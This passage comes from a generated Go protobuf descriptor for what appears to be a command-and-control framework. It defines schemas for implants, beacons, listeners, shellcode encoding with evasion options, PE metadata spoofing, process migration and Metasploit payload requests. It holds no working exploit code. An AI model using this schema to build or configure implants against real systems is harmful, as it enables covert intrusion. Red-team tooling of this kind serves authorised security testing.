"BeaconTask\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1a\n" + - "\bBeaconID\x18\x02 \x01(\tR\bBeaconID\x12\x1c\n" + - "\tCreatedAt\x18\x03 \x01(\x03R\tCreatedAt\x12\x14\n" + - "\x05State\x18\x04 \x01(\tR\x05State\x12\x16\n" + - "\x06SentAt\x18\x05 \x01(\x03R\x06SentAt\x12 \n" + - "\vCompletedAt\x18\x06 \x01(\x03R\vCompletedAt\x12\x18\n" + - "\aRequest\x18\a \x01(\fR\aRequest\x12\x1a\n" + - "\bResponse\x18\b \x01(\fR\bResponse\x12 \n" + - "\vDescription\x18\t \x01(\tR\vDescription\"U\n" + - "\vBeaconTasks\x12\x1a\n" + - "\bBeaconID\x18\x01 \x01(\tR\bBeaconID\x12*\n" + - "\x05Tasks\x18\x02 \x03(\v2\x14.clientpb.BeaconTaskR\x05Tasks\"K\n" + - "\x0fBeaconIntegrity\x12\x1a\n" + - "\bBeaconID\x18\x01 \x01(\tR\bBeaconID\x12\x1c\n" + - "\tIntegrity\x18\x02 \x01(\tR\tIntegrity\"c\n" + - "\tImplantC2\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1a\n" + - "\bPriority\x18\x02 \x01(\rR\bPriority\x12\x10\n" + - "\x03URL\x18\x03 \x01(\tR\x03URL\x12\x18\n" + - "\aOptions\x18\x04 \x01(\tR\aOptions\"\xd7\x01\n" + - "\x0fShellcodeConfig\x12\x18\n" + - "\aEntropy\x18\x02 \x01(\rR\aEntropy\x12\x1a\n" + - "\bCompress\x18\x03 \x01(\rR\bCompress\x12\x18\n" + - "\aExitOpt\x18\x04 \x01(\rR\aExitOpt\x12\x16\n" + - "\x06Bypass\x18\x05 \x01(\rR\x06Bypass\x12\x18\n" + - "\aHeaders\x18\x06 \x01(\rR\aHeaders\x12\x16\n" + - "\x06Thread\x18\a \x01(\bR\x06Thread\x12\x18\n" + - "\aUnicode\x18\b \x01(\bR\aUnicode\x12\x10\n" + - "\x03OEP\x18\t \x01(\rR\x03OEP\"\x8e\x0f\n" + - "\rImplantConfig\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12<\n" + - "\rImplantBuilds\x18\x02 \x03(\v2\x16.clientpb.ImplantBuildR\rImplantBuilds\x12*\n" + - "\x10ImplantProfileID\x18\x03 \x01(\tR\x10ImplantProfileID\x12\x1a\n" + - "\bIsBeacon\x18\x04 \x01(\bR\bIsBeacon\x12&\n" + - "\x0eBeaconInterval\x18\x05 \x01(\x03R\x0eBeaconInterval\x12\"\n" + - "\fBeaconJitter\x18\x06 \x01(\x03R\fBeaconJitter\x12\x12\n" + - "\x04GOOS\x18\a \x01(\tR\x04GOOS\x12\x16\n" + - "\x06GOARCH\x18\b \x01(\tR\x06GOARCH\x12\x14\n" + - "\x05Debug\x18\n" + - " \x01(\bR\x05Debug\x12\x18\n" + - "\aEvasion\x18\v \x01(\bR\aEvasion\x12*\n" + - "\x10ObfuscateSymbols\x18\f \x01(\bR\x10ObfuscateSymbols\x12\"\n" + - "\fTemplateName\x18\r \x01(\tR\fTemplateName\x12\x1e\n" + - "\n" + - "SGNEnabled\x18\x0e \x01(\bR\n" + - "SGNEnabled\x12\x1c\n" + - "\tGoPackage\x18\x0f \x01(\tR\tGoPackage\x12 \n" + - "\vIncludeMTLS\x185 \x01(\bR\vIncludeMTLS\x12 \n" + - "\vIncludeHTTP\x18\x10 \x01(\bR\vIncludeHTTP\x12\x1c\n" + - "\tIncludeWG\x18\x11 \x01(\bR\tIncludeWG\x12\x1e\n" + - "\n" + - "IncludeDNS\x18\x12 \x01(\bR\n" + - "IncludeDNS\x12(\n" + - "\x0fIncludeNamePipe\x18\x13 \x01(\bR\x0fIncludeNamePipe\x12\x1e\n" + - "\n" + - "IncludeTCP\x18\x14 \x01(\bR\n" + - "IncludeTCP\x12 \n" + - "\vWGPeerTunIP\x18 \x01(\tR\vWGPeerTunIP\x12,\n" + - "\x11WGKeyExchangePort\x18! \x01(\rR\x11WGKeyExchangePort\x12&\n" + - "\x0eWGTcpCommsPort\x18\" \x01(\rR\x0eWGTcpCommsPort\x12,\n" + - "\x11ReconnectInterval\x18( \x01(\x03R\x11ReconnectInterval\x120\n" + - "\x13MaxConnectionErrors\x18) \x01(\rR\x13MaxConnectionErrors\x12 \n" + - "\vPollTimeout\x18* \x01(\x03R\vPollTimeout\x12#\n" + - "\x02C2\x182 \x03(\v2\x13.clientpb.ImplantC2R\x02C2\x12$\n" + - "\rCanaryDomains\x183 \x03(\tR\rCanaryDomains\x12.\n" + - "\x12ConnectionStrategy\x184 \x01(\tR\x12ConnectionStrategy\x12,\n" + - "\x11LimitDomainJoined\x18< \x01(\bR\x11LimitDomainJoined\x12$\n" + - "\rLimitDatetime\x18= \x01(\tR\rLimitDatetime\x12$\n" + - "\rLimitHostname\x18> \x01(\tR\rLimitHostname\x12$\n" + - "\rLimitUsername\x18? \x01(\tR\rLimitUsername\x12(\n" + - "\x0fLimitFileExists\x18@ \x01(\tR\x0fLimitFileExists\x12 \n" + - "\vLimitLocale\x18A \x01(\tR\vLimitLocale\x12.\n" + - "\x06Format\x18d \x01(\x0e2\x16.clientpb.OutputFormatR\x06Format\x12 \n" + - "\vIsSharedLib\x18e \x01(\bR\vIsSharedLib\x12\x1c\n" + - "\tIsService\x18g \x01(\bR\tIsService\x12 \n" + - "\vIsShellcode\x18h \x01(\bR\vIsShellcode\x12\x1c\n" + - "\tRunAtLoad\x18i \x01(\bR\tRunAtLoad\x12\x1c\n" + - "\tDebugFile\x18j \x01(\tR\tDebugFile\x12\x18\n" + - "\aexports\x18k \x03(\tR\aexports\x12C\n" + - "\x0fShellcodeConfig\x18l \x01(\v2\x19.clientpb.ShellcodeConfigR\x0fShellcodeConfig\x12F\n" + - "\x10ShellcodeEncoder\x18m \x01(\x0e2\x1a.clientpb.ShellcodeEncoderR\x10ShellcodeEncoder\x12+\n" + - "\x10HTTPC2ConfigName\x18\x96\x01 \x01(\tR\x10HTTPC2ConfigName\x12#\n" + - "\fNetGoEnabled\x18\x97\x01 \x01(\bR\fNetGoEnabled\x127\n" + - "\x16TrafficEncodersEnabled\x18\x98\x01 \x01(\bR\x16TrafficEncodersEnabled\x12)\n" + - "\x0fTrafficEncoders\x18\x99\x01 \x03(\tR\x0fTrafficEncoders\x12\x1d\n" + - "\tExtension\x18\x9a\x01 \x01(\tR\tExtension\x12'\n" + - "\x06Assets\x18\xc8\x01 \x03(\v2\x0e.commonpb.FileR\x06AssetsJ\x06\b\x9b\x01\x10\x9c\x01R\tSpoofData\";\n" + - "\x11SpoofMetadataFile\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12\x12\n" + - "\x04Data\x18\x02 \x01(\fR\x04Data\"\x94\x02\n" + - "\x18IMAGE_RESOURCE_DIRECTORY\x12(\n" + - "\x0fCharacteristics\x18\x01 \x01(\rR\x0fCharacteristics\x12$\n" + - "\rTimeDateStamp\x18\x02 \x01(\rR\rTimeDateStamp\x12\"\n" + - "\fMajorVersion\x18\x03 \x01(\rR\fMajorVersion\x12\"\n" + - "\fMinorVersion\x18\x04 \x01(\rR\fMinorVersion\x122\n" + - "\x14NumberOfNamedEntries\x18\x05 \x01(\rR\x14NumberOfNamedEntries\x12,\n" + - "\x11NumberOfIdEntries\x18\x06 \x01(\rR\x11NumberOfIdEntries\"X\n" + - "\x1eIMAGE_RESOURCE_DIRECTORY_ENTRY\x12\x12\n" + - "\x04Name\x18\x01 \x01(\rR\x04Name\x12\"\n" + - "\fOffsetToData\x18\x02 \x01(\rR\fOffsetToData\"\x8b\x01\n" + - "\x19IMAGE_RESOURCE_DATA_ENTRY\x12\"\n" + - "\fOffsetToData\x18\x01 \x01(\rR\fOffsetToData\x12\x12\n" + - "\x04Size\x18\x02 \x01(\rR\x04Size\x12\x1a\n" + - "\bCodePage\x18\x03 \x01(\rR\bCodePage\x12\x1a\n" + - "\bReserved\x18\x04 \x01(\rR\bReserved\"\xba\x03\n" + - "\x16IMAGE_EXPORT_DIRECTORY\x12(\n" + - "\x0fCharacteristics\x18\x01 \x01(\rR\x0fCharacteristics\x12$\n" + - "\rTimeDateStamp\x18\x02 \x01(\rR\rTimeDateStamp\x12\"\n" + - "\fMajorVersion\x18\x03 \x01(\rR\fMajorVersion\x12\"\n" + - "\fMinorVersion\x18\x04 \x01(\rR\fMinorVersion\x12\x12\n" + - "\x04Name\x18\x05 \x01(\rR\x04Name\x12\x12\n" + - "\x04Base\x18\x06 \x01(\rR\x04Base\x12,\n" + - "\x11NumberOfFunctions\x18\a \x01(\rR\x11NumberOfFunctions\x12$\n" + - "\rNumberOfNames\x18\b \x01(\rR\rNumberOfNames\x12.\n" + - "\x12AddressOfFunctions\x18\t \x01(\rR\x12AddressOfFunctions\x12&\n" + - "\x0eAddressOfNames\x18\n" + - " \x01(\rR\x0eAddressOfNames\x124\n" + - "\x15AddressOfNameOrdinals\x18\v \x01(\rR\x15AddressOfNameOrdinals\"\xd8\x03\n" + - "\x15PESpoofMetadataConfig\x123\n" + - "\x06Source\x18\x01 \x01(\v2\x1b.clientpb.SpoofMetadataFileR\x06Source\x12/\n" + - "\x04Icon\x18\x02 \x01(\v2\x1b.clientpb.SpoofMetadataFileR\x04Icon\x12P\n" + - "\x11ResourceDirectory\x18\n" + - " \x01(\v2\".clientpb.IMAGE_RESOURCE_DIRECTORYR\x11ResourceDirectory\x12d\n" + - "\x18ResourceDirectoryEntries\x18\v \x03(\v2(.clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRYR\x18ResourceDirectoryEntries\x12U\n" + - "\x13ResourceDataEntries\x18\f \x03(\v2#.clientpb.IMAGE_RESOURCE_DATA_ENTRYR\x13ResourceDataEntries\x12J\n" + - "\x0fExportDirectory\x18\r \x01(\v2 .clientpb.IMAGE_EXPORT_DIRECTORYR\x0fExportDirectory\"F\n" + - "\x13SpoofMetadataConfig\x12/\n" + - "\x02PE\x18\x01 \x01(\v2\x1f.clientpb.PESpoofMetadataConfigR\x02PE\"z\n" + - "\x0eTrafficEncoder\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\x04R\x02ID\x12\"\n" + - "\x04Wasm\x18\x02 \x01(\v2\x0e.commonpb.FileR\x04Wasm\x12\x1c\n" + - "\tSkipTests\x18\b \x01(\bR\tSkipTests\x12\x16\n" + - "\x06TestID\x18\t \x01(\tR\x06TestID\"\xb1\x01\n" + - "\x11TrafficEncoderMap\x12E\n" + - "\bEncoders\x18\x01 \x03(\v2).clientpb.TrafficEncoderMap.EncodersEntryR\bEncoders\x1aU\n" + - "\rEncodersEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12.\n" + - "\x05value\x18\x02 \x01(\v2\x18.clientpb.TrafficEncoderR\x05value:\x028\x01\"\xa6\x01\n" + - "\x12TrafficEncoderTest\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12\x1c\n" + - "\tCompleted\x18\x02 \x01(\bR\tCompleted\x12\x18\n" + - "\aSuccess\x18\x03 \x01(\bR\aSuccess\x12\x1a\n" + - "\bDuration\x18\x04 \x01(\x03R\bDuration\x12\x10\n" + - "\x03Err\x18\t \x01(\tR\x03Err\x12\x16\n" + - "\x06Sample\x18\n" + - " \x01(\fR\x06Sample\"\xc3\x01\n" + - "\x13TrafficEncoderTests\x122\n" + - "\aEncoder\x18\x01 \x01(\v2\x18.clientpb.TrafficEncoderR\aEncoder\x122\n" + - "\x05Tests\x18\x02 \x03(\v2\x1c.clientpb.TrafficEncoderTestR\x05Tests\x12$\n" + - "\rTotalDuration\x18\x03 \x01(\x03R\rTotalDuration\x12\x1e\n" + - "\n" + - "TotalTests\x18\x04 \x01(\x05R\n" + - "TotalTests\"\xae\x02\n" + - "\x15ExternalImplantConfig\x12/\n" + - "\x06Config\x18\x01 \x01(\v2\x17.clientpb.ImplantConfigR\x06Config\x12,\n" + - "\x05Build\x18\x02 \x01(\v2\x16.clientpb.ImplantBuildR\x05Build\x12.\n" + - "\x06HTTPC2\x18\x03 \x01(\v2\x16.clientpb.HTTPC2ConfigR\x06HTTPC2\x12I\n" + - "\bencoders\x18\x04 \x03(\v2-.clientpb.ExternalImplantConfig.EncodersEntryR\bencoders\x1a;\n" + - "\rEncodersEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12\x14\n" + - "\x05value\x18\x02 \x01(\x04R\x05value:\x028\x01\"w\n" + - "\x15ExternalImplantBinary\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12&\n" + - "\x0eImplantBuildID\x18\x02 \x01(\tR\x0eImplantBuildID\x12\"\n" + - "\x04File\x18\x03 \x01(\v2\x0e.commonpb.FileR\x04File\"\xbe\x03\n" + - "\rImplantBuilds\x12>\n" + - "\aConfigs\x18\x01 \x03(\v2$.clientpb.ImplantBuilds.ConfigsEntryR\aConfigs\x12J\n" + - "\vResourceIDs\x18\x02 \x03(\v2(.clientpb.ImplantBuilds.ResourceIDsEntryR\vResourceIDs\x12;\n" + - "\x06staged\x18\x03 \x03(\v2#.clientpb.ImplantBuilds.StagedEntryR\x06staged\x1aS\n" + - "\fConfigsEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12-\n" + - "\x05value\x18\x02 \x01(\v2\x17.clientpb.ImplantConfigR\x05value:\x028\x01\x1aT\n" + - "\x10ResourceIDsEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12*\n" + - "\x05value\x18\x02 \x01(\v2\x14.clientpb.ResourceIDR\x05value:\x028\x01\x1a9\n" + - "\vStagedEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12\x14\n" + - "\x05value\x18\x02 \x01(\bR\x05value:\x028\x01\"'\n" + - "\x0fImplantStageReq\x12\x14\n" + - "\x05Build\x18\x01 \x03(\tR\x05Build\"\xb2\x05\n" + - "\fImplantBuild\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12\x10\n" + - "\x03MD5\x18\x03 \x01(\tR\x03MD5\x12\x12\n" + - "\x04SHA1\x18\x04 \x01(\tR\x04SHA1\x12\x16\n" + - "\x06SHA256\x18\x05 \x01(\tR\x06SHA256\x12\x16\n" + - "\x06Burned\x18\x06 \x01(\bR\x06Burned\x12\x1c\n" + - "\tImplantID\x18\a \x01(\x04R\tImplantID\x12(\n" + - "\x0fImplantConfigID\x18\b \x01(\tR\x0fImplantConfigID\x12.\n" + - "\x12AgeServerPublicKey\x18\t \x01(\tR\x12AgeServerPublicKey\x12$\n" + - "\rPeerPublicKey\x18\n" + - " \x01(\tR\rPeerPublicKey\x12&\n" + - "\x0ePeerPrivateKey\x18\v \x01(\tR\x0ePeerPrivateKey\x126\n" + - "\x16PeerPublicKeySignature\x18\f \x01(\tR\x16PeerPublicKeySignature\x128\n" + - "\x17MinisignServerPublicKey\x18\r \x01(\tR\x17MinisignServerPublicKey\x120\n" + - "\x13PeerPublicKeyDigest\x18\x0e \x01(\tR\x13PeerPublicKeyDigest\x12*\n" + - "\x10WGImplantPrivKey\x18\x0f \x01(\tR\x10WGImplantPrivKey\x12&\n" + - "\x0eWGServerPubKey\x18\x10 \x01(\tR\x0eWGServerPubKey\x12\x1e\n" + - "\n" + - "MtlsCACert\x18\x11 \x01(\tR\n" + - "MtlsCACert\x12\x1a\n" + - "\bMtlsCert\x18\x12 \x01(\tR\bMtlsCert\x12\x18\n" + - "\aMtlsKey\x18\x13 \x01(\tR\aMtlsKey\x12\x14\n" + - "\x05Stage\x18\x14 \x01(\bR\x05Stage\"l\n" + - "\x0eCompilerTarget\x12\x12\n" + - "\x04GOOS\x18\x01 \x01(\tR\x04GOOS\x12\x16\n" + - "\x06GOARCH\x18\x02 \x01(\tR\x06GOARCH\x12.\n" + - "\x06Format\x18\x03 \x01(\x0e2\x16.clientpb.OutputFormatR\x06Format\"\x85\x01\n" + - "\rCrossCompiler\x12\x1e\n" + - "\n" + - "TargetGOOS\x18\x01 \x01(\tR\n" + - "TargetGOOS\x12\"\n" + - "\fTargetGOARCH\x18\x02 \x01(\tR\fTargetGOARCH\x12\x16\n" + - "\x06CCPath\x18\x03 \x01(\tR\x06CCPath\x12\x18\n" + - "\aCXXPath\x18\x04 \x01(\tR\aCXXPath\"\xf5\x01\n" + - "\bCompiler\x12\x12\n" + - "\x04GOOS\x18\x01 \x01(\tR\x04GOOS\x12\x16\n" + - "\x06GOARCH\x18\x02 \x01(\tR\x06GOARCH\x122\n" + - "\aTargets\x18\x03 \x03(\v2\x18.clientpb.CompilerTargetR\aTargets\x12?\n" + - "\x0eCrossCompilers\x18\x04 \x03(\v2\x17.clientpb.CrossCompilerR\x0eCrossCompilers\x12H\n" + - "\x12UnsupportedTargets\x18\x05 \x03(\v2\x18.clientpb.CompilerTargetR\x12UnsupportedTargets\"\x1f\n" + - "\tDeleteReq\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\"\xd7\x01\n" + - "\tDNSCanary\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12 \n" + - "\vImplantName\x18\x02 \x01(\tR\vImplantName\x12\x16\n" + - "\x06Domain\x18\x03 \x01(\tR\x06Domain\x12\x1c\n" + - "\tTriggered\x18\x04 \x01(\bR\tTriggered\x12&\n" + - "\x0eFirstTriggered\x18\x05 \x01(\tR\x0eFirstTriggered\x12$\n" + - "\rLatestTrigger\x18\x06 \x01(\tR\rLatestTrigger\x12\x14\n" + - "\x05Count\x18\a \x01(\rR\x05Count\";\n" + - "\bCanaries\x12/\n" + - "\bCanaries\x18\x01 \x03(\v2\x13.clientpb.DNSCanaryR\bCanaries\"\x1c\n" + - "\n" + - "UniqueWGIP\x12\x0e\n" + - "\x02IP\x18\x01 \x01(\tR\x02IP\"e\n" + - "\x0eImplantProfile\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12/\n" + - "\x06Config\x18\x03 \x01(\v2\x17.clientpb.ImplantConfigR\x06Config\"G\n" + - "\x0fImplantProfiles\x124\n" + - "\bProfiles\x18\x01 \x03(\v2\x18.clientpb.ImplantProfileR\bProfiles\"1\n" + - "\rRegenerateReq\x12 \n" + - "\vImplantName\x18\x01 \x01(\tR\vImplantName\"\xb7\x01\n" + - "\x03Job\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\rR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12 \n" + - "\vDescription\x18\x03 \x01(\tR\vDescription\x12\x1a\n" + - "\bProtocol\x18\x04 \x01(\tR\bProtocol\x12\x12\n" + - "\x04Port\x18\x05 \x01(\rR\x04Port\x12\x18\n" + - "\aDomains\x18\x06 \x03(\tR\aDomains\x12 \n" + - "\vProfileName\x18\a \x01(\tR\vProfileName\"-\n" + - "\x04Jobs\x12%\n" + - "\x06Active\x18\x01 \x03(\v2\r.clientpb.JobR\x06Active\"\x1c\n" + - "\n" + - "KillJobReq\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\rR\x02ID\"'\n" + - "\rRestartJobReq\x12\x16\n" + - "\x06JobIDs\x18\x01 \x03(\rR\x06JobIDs\"3\n" + - "\aKillJob\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\rR\x02ID\x12\x18\n" + - "\aSuccess\x18\x02 \x01(\bR\aSuccess\"\x91\x03\n" + - "\vListenerJob\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Type\x18\x02 \x01(\tR\x04Type\x12\x14\n" + - "\x05JobID\x18\x03 \x01(\rR\x05JobID\x125\n" + - "\bMTLSConf\x18\x04 \x01(\v2\x19.clientpb.MTLSListenerReqR\bMTLSConf\x12/\n" + - "\x06WGConf\x18\x05 \x01(\v2\x17.clientpb.WGListenerReqR\x06WGConf\x122\n" + - "\aDNSConf\x18\x06 \x01(\v2\x18.clientpb.DNSListenerReqR\aDNSConf\x125\n" + - "\bHTTPConf\x18\a \x01(\v2\x19.clientpb.HTTPListenerReqR\bHTTPConf\x12>\n" + - "\tMultiConf\x18\b \x01(\v2 .clientpb.MultiplayerListenerReqR\tMultiConf\x125\n" + - "\aTCPConf\x18\t \x01(\v2\x1b.clientpb.StagerListenerReqR\aTCPConf\"^\n" + - "\x16MultiplayerListenerReq\x12\x12\n" + - "\x04Host\x18\x01 \x01(\tR\x04Host\x12\x12\n" + - "\x04Port\x18\x02 \x01(\rR\x04Port\x12\x1c\n" + - "\tWireGuard\x18\x03 \x01(\bR\tWireGuard\"9\n" + - "\x0fMTLSListenerReq\x12\x12\n" + - "\x04Host\x18\x01 \x01(\tR\x04Host\x12\x12\n" + - "\x04Port\x18\x02 \x01(\rR\x04Port\"}\n" + - "\rWGListenerReq\x12\x12\n" + - "\x04Host\x18\x06 \x01(\tR\x04Host\x12\x12\n" + - "\x04Port\x18\x01 \x01(\rR\x04Port\x12\x14\n" + - "\x05TunIP\x18\x02 \x01(\tR\x05TunIP\x12\x14\n" + - "\x05NPort\x18\x03 \x01(\rR\x05NPort\x12\x18\n" + - "\aKeyPort\x18\x04 \x01(\rR\aKeyPort\"\x8e\x01\n" + - "\x0eDNSListenerReq\x12\x18\n" + - "\aDomains\x18\x01 \x03(\tR\aDomains\x12\x1a\n" + - "\bCanaries\x18\x02 \x01(\bR\bCanaries\x12\x12\n" + - "\x04Host\x18\x03 \x01(\tR\x04Host\x12\x12\n" + - "\x04Port\x18\x04 \x01(\rR\x04Port\x12\x1e\n" + - "\n" + - "EnforceOTP\x18\x06 \x01(\bR\n" + - "EnforceOTP\"\xd5\x02\n" + - "\x0fHTTPListenerReq\x12\x16\n" + - "\x06Domain\x18\x01 \x01(\tR\x06Domain\x12\x12\n" + - "\x04Host\x18\x02 \x01(\tR\x04Host\x12\x12\n" + - "\x04Port\x18\x03 \x01(\rR\x04Port\x12\x16\n" + - "\x06Secure\x18\x04 \x01(\bR\x06Secure\x12\x18\n" + - "\aWebsite\x18\x05 \x01(\tR\aWebsite\x12\x12\n" + - "\x04Cert\x18\x06 \x01(\fR\x04Cert\x12\x10\n" + - "\x03Key\x18\a \x01(\fR\x03Key\x12\x12\n" + - "\x04ACME\x18\b \x01(\bR\x04ACME\x12\x1e\n" + - "\n" + - "EnforceOTP\x18\n" + - " \x01(\bR\n" + - "EnforceOTP\x12(\n" + - "\x0fLongPollTimeout\x18\v \x01(\x03R\x0fLongPollTimeout\x12&\n" + - "\x0eLongPollJitter\x18\f \x01(\x03R\x0eLongPollJitter\x12$\n" + - "\rRandomizeJARM\x18\r \x01(\bR\rRandomizeJARM\"X\n" + - "\rNamedPipesReq\x12\x1a\n" + - "\bPipeName\x18\x10 \x01(\tR\bPipeName\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\"h\n" + - "\n" + - "NamedPipes\x12\x18\n" + - "\aSuccess\x18\x01 \x01(\bR\aSuccess\x12\x10\n" + - "\x03Err\x18\x02 \x01(\tR\x03Err\x12.\n" + - "\bResponse\x18\t \x01(\v2\x12.commonpb.ResponseR\bResponse\"T\n" + - "\vTCPPivotReq\x12\x18\n" + - "\aAddress\x18\x10 \x01(\tR\aAddress\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\"f\n" + - "\bTCPPivot\x12\x18\n" + - "\aSuccess\x18\x01 \x01(\bR\aSuccess\x12\x10\n" + - "\x03Err\x18\x02 \x01(\tR\x03Err\x12.\n" + - "\bResponse\x18\t \x01(\v2\x12.commonpb.ResponseR\bResponse\"9\n" + - "\bSessions\x12-\n" + - "\bSessions\x18\x01 \x03(\v2\x11.clientpb.SessionR\bSessions\"Y\n" + - "\tRenameReq\x12\x1c\n" + - "\tSessionID\x18\x01 \x01(\tR\tSessionID\x12\x1a\n" + - "\bBeaconID\x18\x02 \x01(\tR\bBeaconID\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\"R\n" + - "\vGenerateReq\x12/\n" + - "\x06Config\x18\x01 \x01(\v2\x17.clientpb.ImplantConfigR\x06Config\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\"\x8c\x02\n" + - "\x10GenerateStageReq\x12\x18\n" + - "\aProfile\x18\x01 \x01(\tR\aProfile\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12$\n" + - "\rAESEncryptKey\x18\x03 \x01(\tR\rAESEncryptKey\x12\"\n" + - "\fAESEncryptIv\x18\x04 \x01(\tR\fAESEncryptIv\x12$\n" + - "\rRC4EncryptKey\x18\x05 \x01(\tR\rRC4EncryptKey\x12 \n" + - "\vPrependSize\x18\x06 \x01(\bR\vPrependSize\x12\x1c\n" + - "\tCompressF\x18\a \x01(\tR\tCompressF\x12\x1a\n" + - "\bCompress\x18\b \x01(\tR\bCompress\"x\n" + - "\bGenerate\x12\"\n" + - "\x04File\x18\x01 \x01(\v2\x0e.commonpb.FileR\x04File\x12 \n" + - "\vImplantName\x18\x02 \x01(\tR\vImplantName\x12&\n" + - "\x0eImplantBuildID\x18\x03 \x01(\tR\x0eImplantBuildID\"\xc9\x01\n" + - "\x18GenerateSpoofMetadataReq\x12&\n" + - "\x0eImplantBuildID\x18\x01 \x01(\tR\x0eImplantBuildID\x12 \n" + - "\vImplantName\x18\x02 \x01(\tR\vImplantName\x12\x1e\n" + - "\n" + - "ResourceID\x18\x03 \x01(\x04R\n" + - "ResourceID\x12C\n" + - "\rSpoofMetadata\x18\n" + - " \x01(\v2\x1d.clientpb.SpoofMetadataConfigR\rSpoofMetadata\"\xb5\x01\n" + - "\x06MSFReq\x12\x18\n" + - "\aPayload\x18\x01 \x01(\tR\aPayload\x12\x14\n" + - "\x05LHost\x18\x02 \x01(\tR\x05LHost\x12\x14\n" + - "\x05LPort\x18\x03 \x01(\rR\x05LPort\x12\x18\n" + - "\aEncoder\x18\x04 \x01(\tR\aEncoder\x12\x1e\n" + - "\n" + - "Iterations\x18\x05 \x01(\x05R\n" + - "Iterations\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\"\xcd\x01\n" + - "\fMSFRemoteReq\x12\x18\n" + - "\aPayload\x18\x01 \x01(\tR\aPayload\x12\x14\n" + - "\x05LHost\x18\x02 \x01(\tR\x05LHost\x12\x14\n" + - "\x05LPort\x18\x03 \x01(\rR\x05LPort\x12\x18\n" + - "\aEncoder\x18\x04 \x01(\tR\aEncoder\x12\x1e\n" + - "\n" + - "Iterations\x18\x05 \x01(\x05R\n" + - "Iterations\x12\x10\n" + - "\x03PID\x18\b \x01(\rR\x03PID\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\"\xa6\x01\n" + - "\x11StagerListenerReq\x123\n" + - "\bProtocol\x18\x01 \x01(\x0e2\x17.clientpb.StageProtocolR\bProtocol\x12\x12\n" + - "\x04Host\x18\x02 \x01(\tR\x04Host\x12\x12\n" + - "\x04Port\x18\x03 \x01(\rR\x04Port\x12\x12\n" + - "\x04Data\x18\x04 \x01(\fR\x04Data\x12 \n" + - "\vProfileName\x18\x05 \x01(\tR\vProfileName\"&\n" + - "\x0eStagerListener\x12\x14\n" + - "\x05JobID\x18\x01 \x01(\rR\x05JobID\"g\n" + - "\x0fShellcodeRDIReq\x12\x12\n" + - "\x04Data\x18\x01 \x01(\fR\x04Data\x12\"\n" + - "\fFunctionName\x18\x02 \x01(\tR\fFunctionName\x12\x1c\n" + - "\tArguments\x18\x03 \x01(\tR\tArguments\"\"\n" + - "\fShellcodeRDI\x12\x12\n" + - "\x04Data\x18\x01 \x01(\fR\x04Data\"\xa8\x01\n" + - "\fGetSystemReq\x12&\n" + - "\x0eHostingProcess\x18\x01 \x01(\tR\x0eHostingProcess\x12/\n" + - "\x06Config\x18\x02 \x01(\v2\x17.clientpb.ImplantConfigR\x06Config\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\"\xe2\x01\n" + - "\n" + - "MigrateReq\x12\x10\n" + - "\x03Pid\x18\x01 \x01(\rR\x03Pid\x12/\n" + - "\x06Config\x18\x02 \x01(\v2\x17.clientpb.ImplantConfigR\x06Config\x124\n" + - "\aEncoder\x18\x03 \x01(\x0e2\x1a.clientpb.ShellcodeEncoderR\aEncoder\x12\x12\n" + - "\x04Name\x18\x04 \x01(\tR\x04Name\x12\x1a\n" + - "\bProcName\x18\x05 \x01(\tR\bProcName\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\">\n" + - "\x0fCreateTunnelReq\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\"L\n" + - "\fCreateTunnel\x12\x1c\n" + - "\tSessionID\x18\x01 \x01(\rR\tSessionID\x12\x1e\n" + - "\bTunnelID\x18\b \x01(\x04B\x020\x01R\bTunnelID\"]\n" + - "\x0eCloseTunnelReq\x12\x1e\n" + - "\bTunnelID\x18\b \x01(\x04B\x020\x01R\bTunnelID\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\"\xa1\x01\n" + - "\x0fPivotGraphEntry\x12\x16\n" + - "\x06PeerID\x18\x01 \x01(\x03R\x06PeerID\x12+\n" + - "\aSession\x18\x02 \x01(\v2\x11.clientpb.SessionR\aSession\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\x125\n" + - "\bChildren\x18\x04 